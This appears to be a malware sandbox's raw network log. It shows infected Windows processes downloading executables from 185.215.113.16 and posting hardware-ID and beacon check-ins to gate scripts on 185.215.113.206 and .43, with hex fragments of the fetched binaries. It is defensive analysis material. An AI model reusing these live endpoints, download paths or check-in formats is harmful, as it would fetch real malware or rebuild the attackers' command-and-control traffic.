Oct 31, 2024 04:16:27.138581991 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 31, 2024 04:16:28.223319054 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 03:16:28 GMT Content-Type: application/octet-stream Content-Length: 2809344 Last-Modified: Thu, 31 Oct 2024 02:58:51 GMT Connection: keep-alive ETag: "6722f26b-2ade00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 40 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 2b 00 00 04 00 00 26 04 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$@+ `@ +&+`Ui` @ @.rsrc`2@.idata 8@ucxgvins\|:@nulvttal +@.taggant@@+"@
Oct 31, 2024 04:16:28.223335028 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 04:16:28.223427057 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 04:16:28.223640919 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 04:16:28.223653078 CET	424	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 04:16:28.224050045 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 04:16:28.224060059 CET	212	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 04:16:28.369908094 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 04:16:28.369930029 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 04:16:28.369941950 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 04:16:28.369952917 CET	1236	IN	Data Raw: 0a e9 75 45 3a 0b d8 e5 79 44 01 9e 49 8a c7 3d 66 a3 70 c3 72 9b 09 6b 00 d9 d3 4b 35 86 f2 5a 11 66 13 80 d6 e9 b6 52 24 d6 e3 0e 0a f0 cb c2 1f 56 01 bb f1 12 10 c9 e1 c8 16 e7 87 d8 c7 62 58 1c 90 29 db 72 0e cd 58 dd 15 53 5c b0 15 de a1 8e Data Ascii: uE:yDI=fprkK5ZfR$VbX)rXS\3js#oDJs]_KUSTuUj;OWV?DnUn TzOtliI'{ o3dqq!h_Z
Oct 31, 2024 04:17:02.992347002 CET	204	OUT	GET /mine/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 31, 2024 04:17:03.750754118 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 03:17:03 GMT Content-Type: application/octet-stream Content-Length: 1873920 Last-Modified: Thu, 31 Oct 2024 03:03:32 GMT Connection: keep-alive ETag: "6722f384-1c9800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 40 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVf@J@pJ@Wkl'J'J @.rsrc@.idata @ *@bleglpjp0\|@ozncbdew0Jr@.taggant0@J"v@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49945	185.215.113.206	80	6072	C:\Users\user\AppData\Local\Temp\1002779001\num.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 04:16:29.187004089 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 31, 2024 04:16:30.119884014 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 03:16:29 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 31, 2024 04:16:30.122560978 CET	413	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBAFBGIDHCBFHIECFCBG Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 30 44 41 32 30 31 36 45 44 41 31 31 37 32 30 30 30 39 33 36 39 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 43 42 47 2d 2d 0d 0a Data Ascii: ------EBAFBGIDHCBFHIECFCBGContent-Disposition: form-data; name="hwid"90DA2016EDA11720009369------EBAFBGIDHCBFHIECFCBGContent-Disposition: form-data; name="build"tale------EBAFBGIDHCBFHIECFCBG--
Oct 31, 2024 04:16:30.416513920 CET	210	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 03:16:30 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49959	185.215.113.43	80	928	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 04:16:30.733525991 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 32 37 37 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002779001&unit=246122658369
Oct 31, 2024 04:16:31.658169031 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 03:16:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49973	185.215.113.43	80	928	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 04:16:33.314589024 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 04:16:34.224237919 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 03:16:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49993	185.215.113.43	80	928	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 04:16:35.750400066 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 35 42 33 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B12B75B35F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Oct 31, 2024 04:16:36.658607960 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 03:16:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49994	185.215.113.206	80	2148	C:\Users\user\AppData\Local\Temp\1002777001\1171a5b648.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 04:16:35.996121883 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 31, 2024 04:16:36.906327963 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 03:16:36 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 31, 2024 04:16:36.908628941 CET	413	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDHCFIJEGCAKJJKEHJJE Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 44 48 43 46 49 4a 45 47 43 41 4b 4a 4a 4b 45 48 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 30 44 41 32 30 31 36 45 44 41 31 31 37 32 30 30 30 39 33 36 39 0d 0a 2d 2d 2d 2d 2d 2d 48 44 48 43 46 49 4a 45 47 43 41 4b 4a 4a 4b 45 48 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 48 44 48 43 46 49 4a 45 47 43 41 4b 4a 4a 4b 45 48 4a 4a 45 2d 2d 0d 0a Data Ascii: ------HDHCFIJEGCAKJJKEHJJEContent-Disposition: form-data; name="hwid"90DA2016EDA11720009369------HDHCFIJEGCAKJJKEHJJEContent-Disposition: form-data; name="build"tale------HDHCFIJEGCAKJJKEHJJE--
Oct 31, 2024 04:16:37.195214033 CET	210	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 03:16:37 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	50005	34.107.221.82	80	7860	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 04:16:37.464142084 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 31, 2024 04:16:38.151170969 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 30 Oct 2024 04:31:13 GMT Age: 81925 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	50015	185.215.113.43	80	928	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 04:16:38.283046961 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 04:16:39.195348978 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 03:16:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	50016	34.107.221.82	80	7860	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 04:16:38.313996077 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 31, 2024 04:16:38.907718897 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 30 Oct 2024 04:30:51 GMT Age: 81947 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	50021	34.107.221.82	80	7860	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 04:16:38.490210056 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 31, 2024 04:16:39.311680079 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 30 Oct 2024 04:31:13 GMT Age: 81926 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	50036	185.215.113.43	80	928	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 04:16:40.740442038 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 35 42 33 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B12B75B35F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Oct 31, 2024 04:16:41.631222010 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 03:16:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	50050	185.215.113.16	80	6292	C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 04:16:42.829262972 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 31, 2024 04:16:43.816234112 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 03:16:43 GMT Content-Type: application/octet-stream Content-Length: 2809344 Last-Modified: Thu, 31 Oct 2024 02:58:51 GMT Connection: keep-alive ETag: "6722f26b-2ade00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 40 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 2b 00 00 04 00 00 26 04 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$@+ `@ +&+`Ui` @ @.rsrc`2@.idata 8@ucxgvins\|:@nulvttal +@.taggant@@+"@
Oct 31, 2024 04:16:43.816276073 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 04:16:43.816286087 CET	424	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 04:16:43.816296101 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 04:16:43.816369057 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 04:16:43.816384077 CET	424	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 04:16:43.816394091 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 04:16:43.816405058 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 04:16:43.816416979 CET	424	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 2oYL_eQvS
